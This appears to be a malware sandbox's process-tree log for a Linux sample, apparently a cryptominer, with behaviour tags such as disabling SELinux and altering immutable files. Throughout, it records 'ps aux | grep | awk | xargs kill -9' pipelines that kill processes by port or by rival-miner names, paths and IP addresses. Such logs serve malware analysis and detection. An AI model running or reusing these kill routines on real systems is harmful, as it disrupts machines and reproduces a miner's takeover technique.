/usr/bin/awkawk "{print \$7}"2⤵PID:973
-
-
/bin/grepgrep :66662⤵PID:972
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:982
-
-
/bin/grepgrep -v -2⤵PID:981
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:980
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:979
-
-
/bin/grepgrep :66652⤵PID:978
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:989
-
-
/bin/grepgrep -v -2⤵PID:988
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:987
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:986
-
-
/bin/grepgrep :66672⤵PID:985
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:996
-
-
/bin/grepgrep -v -2⤵PID:995
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:994
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:993
-
-
/bin/grepgrep :77772⤵PID:992
-
-
/bin/grepgrep :84442⤵PID:998
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1000
-
-
/bin/grepgrep -v -2⤵PID:1001
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1002
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:999
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1008
-
-
/bin/grepgrep -v -2⤵PID:1007
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1006
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1005
-
-
/bin/grepgrep :33472⤵PID:1004
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1014
-
-
/bin/grepgrep -v -2⤵PID:1013
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1012
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1011
-
-
/bin/grepgrep :100082⤵PID:1010
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1019
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1018
-
-
/bin/grepgrep :33332⤵PID:1017
-
-
/bin/grepgrep -v grep2⤵PID:1016
-
-
/bin/psps aux2⤵PID:1015
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1024
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1023
-
-
/bin/grepgrep :55552⤵PID:1022
-
-
/bin/grepgrep -v grep2⤵PID:1021
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1020
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1029
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1028
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:1027
-
-
/bin/grepgrep -v grep2⤵PID:1026
-
-
/bin/psps aux2⤵PID:1025
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1034
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1033
-
-
/bin/grepgrep log_2⤵PID:1032
-
-
/bin/grepgrep -v grep2⤵PID:1031
-
-
/bin/psps aux2⤵PID:1030
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1039
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1038
-
-
/bin/grepgrep systemten2⤵PID:1037
-
-
/bin/grepgrep -v grep2⤵PID:1036
-
-
/bin/psps aux2⤵PID:1035
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1044
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:1045
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:1045
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:1045
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:1045
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:1045
-
-
/bin/killkill -9 103⤵
- Disables SELinux
PID:1045
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1043
-
-
/bin/grepgrep netns2⤵PID:1042
-
-
/bin/grepgrep -v grep2⤵PID:1041
-
-
/bin/psps aux2⤵PID:1040
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1050
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1049
-
-
/bin/grepgrep voltuned2⤵PID:1048
-
-
/bin/grepgrep -v grep2⤵PID:1047
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1046
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1055
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1054
-
-
/bin/grepgrep darwin2⤵PID:1053
-
-
/bin/grepgrep -v grep2⤵PID:1052
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1051
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1060
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1059
-
-
/bin/grepgrep /tmp/dl2⤵PID:1058
-
-
/bin/grepgrep -v grep2⤵PID:1057
-
-
/bin/psps aux2⤵PID:1056
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1065
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1064
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1063
-
-
/bin/grepgrep -v grep2⤵PID:1062
-
-
/bin/psps aux2⤵PID:1061
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1070
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1069
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1068
-
-
/bin/grepgrep -v grep2⤵PID:1067
-
-
/bin/psps aux2⤵PID:1066
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1075
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1074
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1073
-
-
/bin/grepgrep -v grep2⤵PID:1072
-
-
/bin/psps aux2⤵PID:1071
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1080
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1079
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1078
-
-
/bin/grepgrep -v grep2⤵PID:1077
-
-
/bin/psps aux2⤵PID:1076
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1085
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1084
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1083
-
-
/bin/grepgrep -v grep2⤵PID:1082
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1081
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1090
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1089
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1088
-
-
/bin/grepgrep -v grep2⤵PID:1087
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1095
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1094
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1093
-
-
/bin/grepgrep -v grep2⤵PID:1092
-
-
/bin/psps aux2⤵PID:1091
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1100
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1099
-
-
/bin/grepgrep 45.76.122.922⤵PID:1098
-
-
/bin/grepgrep -v grep2⤵PID:1097
-
-
/bin/psps aux2⤵PID:1096
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1108
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1107
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1106
-
-
/bin/grepgrep -v grep2⤵PID:1105
-
-
/bin/psps aux2⤵PID:1104
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1113
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1112
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1111
-
-
/bin/grepgrep -v grep2⤵PID:1110
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1109
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1118
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1117
-
-
/bin/grepgrep 86s.jpg2⤵PID:1116
-
-
/bin/grepgrep -v grep2⤵PID:1115
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1114
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1123
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1122
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1121
-
-
/bin/grepgrep -v grep2⤵PID:1120
-
-
/bin/psps aux2⤵PID:1119
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1128
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1127
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1126
-
-
/bin/grepgrep -v grep2⤵PID:1125
-
-
/bin/psps aux2⤵PID:1124
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1133
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1132
-
-
/bin/grepgrep PuNY5tm22⤵PID:1131
-
-
/bin/grepgrep -v grep2⤵PID:1130
-
-
/bin/psps aux2⤵PID:1129
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1138
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1137
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1136
-
-
/bin/grepgrep -v grep2⤵PID:1135
-
-
/bin/psps aux2⤵PID:1134
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1143
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1142
-
-
/bin/grepgrep AgdgACUD2⤵PID:1141
-
-
/bin/grepgrep -v grep2⤵PID:1140
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1139
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1148
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1147
-
-
/bin/grepgrep uiZvwxG82⤵PID:1146
-
-
/bin/grepgrep -v grep2⤵PID:1145
-
-
/bin/psps aux2⤵PID:1144
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1153
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1152
-
-
/bin/grepgrep hahwNEdB2⤵PID:1151
-
-
/bin/grepgrep -v grep2⤵PID:1150
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1149
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1158
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1157
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1156
-
-
/bin/grepgrep -v grep2⤵PID:1155
-
-
/bin/psps aux2⤵PID:1154
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1163
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1162
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1161
-
-
/bin/grepgrep -v grep2⤵PID:1160
-
-
/bin/psps aux2⤵PID:1159
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1168
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1167
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1166
-
-
/bin/grepgrep -v grep2⤵PID:1165
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1164
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1173
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1172
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1171
-
-
/bin/grepgrep -v grep2⤵PID:1170
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1169
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1178
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1177
-
-
/bin/grepgrep zXcDajSs2⤵PID:1176
-
-
/bin/grepgrep -v grep2⤵PID:1175
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1174
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1183
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1182
-
-
/bin/grepgrep 3lmigMo2⤵PID:1181
-
-
/bin/grepgrep -v grep2⤵PID:1180
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1179
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1188
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1187
-
-
/bin/grepgrep AkMK4A22⤵PID:1186
-
-
/bin/grepgrep -v grep2⤵PID:1185
-
-
/bin/psps aux2⤵PID:1184
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1193
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1192
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1191
-
-
/bin/grepgrep -v grep2⤵PID:1190
-
-
/bin/psps aux2⤵PID:1189
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1198
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1197
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1196
-
-
/bin/grepgrep -v grep2⤵PID:1195
-
-
/bin/psps aux2⤵PID:1194
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1203
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1202
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1201
-
-
/bin/grepgrep -v grep2⤵PID:1200
-
-
/bin/psps aux2⤵PID:1199
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1208
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1207
-
-
/bin/grepgrep http_0xCC0312⤵PID:1206
-
-
/bin/grepgrep -v grep2⤵PID:1205
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1204
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1213
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1212
-
-
/bin/grepgrep http_0xCC0322⤵PID:1211
-
-
/bin/grepgrep -v grep2⤵PID:1210
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1209
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1218
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1217
-
-
/bin/grepgrep http_0xCC0332⤵PID:1216
-
-
/bin/grepgrep -v grep2⤵PID:1215
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1223
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1222
-
-
/bin/grepgrep C4iLM4L2⤵PID:1221
-
-
/bin/grepgrep -v grep2⤵PID:1220
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1219
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1228
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1227
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1226
-
-
/bin/grepgrep -v grep2⤵PID:1225
-
-
/bin/psps aux2⤵PID:1224
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1232
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵
- Reads runtime system information
PID:1231
-
-
/bin/grepgrep -v grep2⤵PID:1230
-
-
/bin/psps aux2⤵PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1237
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1236
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1235
-
-
/bin/grepgrep -v grep2⤵PID:1234
-
-
/bin/psps aux2⤵PID:1233
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1242
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1241
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1240
-
-
/bin/grepgrep -v grep2⤵PID:1239
-
-
/bin/psps aux2⤵PID:1238
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1247
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1246
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1245
-
-
/bin/grepgrep -v grep2⤵PID:1244
-
-
/bin/psps aux2⤵PID:1243
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1252
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1251
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1250
-
-
/bin/grepgrep -v grep2⤵PID:1249
-
-
/bin/psps aux2⤵PID:1248
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1257
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1256
-
-
/bin/grepgrep nqscheduler2⤵PID:1255
-
-
/bin/grepgrep -v grep2⤵PID:1254
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1253
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1262
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1261
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1260
-
-
/bin/grepgrep -v grep2⤵PID:1259
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1258
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1268
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1267
-
-
/bin/grepgrep "]"2⤵PID:1266
-
-
/bin/grepgrep -v aux2⤵PID:1265
-
-
/bin/grepgrep -v grep2⤵PID:1264
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1263
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1273
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1272
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1271
-
-
/bin/grepgrep -v grep2⤵PID:1270
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1269
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1278
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1277
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1276
-
-
/bin/grepgrep -v grep2⤵PID:1275
-
-
/bin/psps aux2⤵PID:1274
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1283
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1282
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1281
-
-
/bin/grepgrep -v grep2⤵PID:1280
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1279
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1290
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1289
-
-
/bin/grepgrep -v _2⤵PID:1288
-
-
/bin/grepgrep -v -2⤵PID:1287
-
-
/bin/grepgrep -v /2⤵PID:1286
-
-
/bin/grepgrep -v grep2⤵PID:1285
-
-
/bin/psps aux2⤵PID:1284
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1295
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1294
-
-
/bin/grepgrep "\\[^"2⤵PID:1293
-
-
/bin/grepgrep -v grep2⤵PID:1292
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1291
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1300
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1299
-
-
/bin/grepgrep rsync2⤵PID:1298
-
-
/bin/grepgrep -v grep2⤵PID:1297
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1296
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1305
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1304
-
-
/bin/grepgrep watchd0g2⤵PID:1303
-
-
/bin/grepgrep -v grep2⤵PID:1302
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1301
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1310
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1309
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1308
-
-
/bin/grepgrep -v grep2⤵PID:1307
-
-
/bin/psps aux2⤵PID:1306
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1308
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1308
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1308
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1308
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1308
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1308
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1315
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1314
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1313
-
-
/bin/grepgrep -v grep2⤵PID:1312
-
-
/bin/psps aux2⤵PID:1311
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1320
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1319
-
-
/bin/grepgrep /tmp/java2⤵PID:1318
-
-
/bin/grepgrep -v grep2⤵PID:1317
-
-
/bin/psps aux2⤵PID:1316
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1325
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1324
-
-
/bin/grepgrep gitee.com2⤵PID:1323
-
-
/bin/grepgrep -v grep2⤵PID:1322
-
-
/bin/psps aux2⤵PID:1321
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1330
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1329
-
-
/bin/grepgrep /tmp/java2⤵PID:1328
-
-
/bin/grepgrep -v grep2⤵PID:1327
-
-
/bin/psps aux2⤵PID:1326
-
-
/bin/psps aux2⤵PID:1331
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1333
-
-
/bin/grepgrep -v grep2⤵PID:1332
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1335
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1334
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1340
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1339
-
-
/bin/grepgrep 89.35.39.782⤵PID:1338
-
-
/bin/grepgrep -v grep2⤵PID:1337
-
-
/bin/psps aux2⤵PID:1336
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1345
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1344
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1343
-
-
/bin/grepgrep -v grep2⤵PID:1342
-
-
/bin/psps aux2⤵PID:1341
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1350
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1349
-
-
/bin/grepgrep kthrotlds2⤵PID:1348
-
-
/bin/grepgrep -v grep2⤵PID:1347
-
-
/bin/psps aux2⤵PID:1346
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1355
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1354
-
-
/bin/grepgrep ksoftirqds2⤵PID:1353
-
-
/bin/grepgrep -v grep2⤵PID:1352
-
-
/bin/psps aux2⤵PID:1351
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1360
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1359
-
-
/bin/grepgrep netdns2⤵PID:1358
-
-
/bin/grepgrep -v grep2⤵PID:1357
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1356
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1365
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1364
-
-
/bin/grepgrep watchdogs2⤵PID:1363
-
-
/bin/grepgrep -v grep2⤵PID:1362
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1361
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1370
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1369
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1368
-
-
/bin/grepgrep -v grep2⤵PID:1367
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1366
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1375
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1374
-
-
/bin/grepgrep kinsing2⤵PID:1373
-
-
/bin/grepgrep -v grep2⤵PID:1372
-
-
/bin/psps aux2⤵PID:1371
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1380
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1379
-
-
/bin/grepgrep redis22⤵PID:1378
-
-
/bin/grepgrep -v grep2⤵PID:1377
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1376
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1385
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1386
-
-
/bin/grepgrep " ps"2⤵PID:1384
-
-
/bin/grepgrep -v aux2⤵PID:1383
-
-
/bin/grepgrep -v grep2⤵PID:1382
-
-
/bin/psps aux2⤵PID:1381
-
-
/bin/grepgrep sync_supers2⤵PID:1389
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1391
-
-
/usr/bin/cutcut -c 9-152⤵PID:1390
-
-
/bin/grepgrep -v grep2⤵PID:1388
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1387
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1396
-
-
/usr/bin/cutcut -c 9-152⤵PID:1395
-
-
/bin/grepgrep cpuset2⤵PID:1394
-
-
/bin/grepgrep -v grep2⤵PID:1393
-
-
/bin/psps aux2⤵PID:1392
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1402
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1401
-
-
/bin/grepgrep "x]"2⤵PID:1400
-
-
/bin/grepgrep -v aux2⤵PID:1399
-
-
/bin/grepgrep -v grep2⤵PID:1398
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1397
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1408
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1407
-
-
/bin/grepgrep "sh] <"2⤵PID:1406
-
-
/bin/grepgrep -v aux2⤵PID:1405
-
-
/bin/grepgrep -v grep2⤵PID:1404
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1403
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1414
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1413
-
-
/bin/grepgrep " \\[]"2⤵PID:1412
-
-
/bin/grepgrep -v aux2⤵PID:1411
-
-
/bin/grepgrep -v grep2⤵PID:1410
-
-
/bin/psps aux2⤵PID:1409
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1419
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1418
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1417
-
-
/bin/grepgrep -v grep2⤵PID:1416
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1415
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1424
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1423
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1422
-
-
/bin/grepgrep -v grep2⤵PID:1421
-
-
/bin/psps aux2⤵PID:1420
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1429
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1428
-
-
/bin/grepgrep hahwNEdB2⤵PID:1427
-
-
/bin/grepgrep -v grep2⤵PID:1426
-
-
/bin/psps aux2⤵PID:1425
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1434
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1433
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1432
-
-
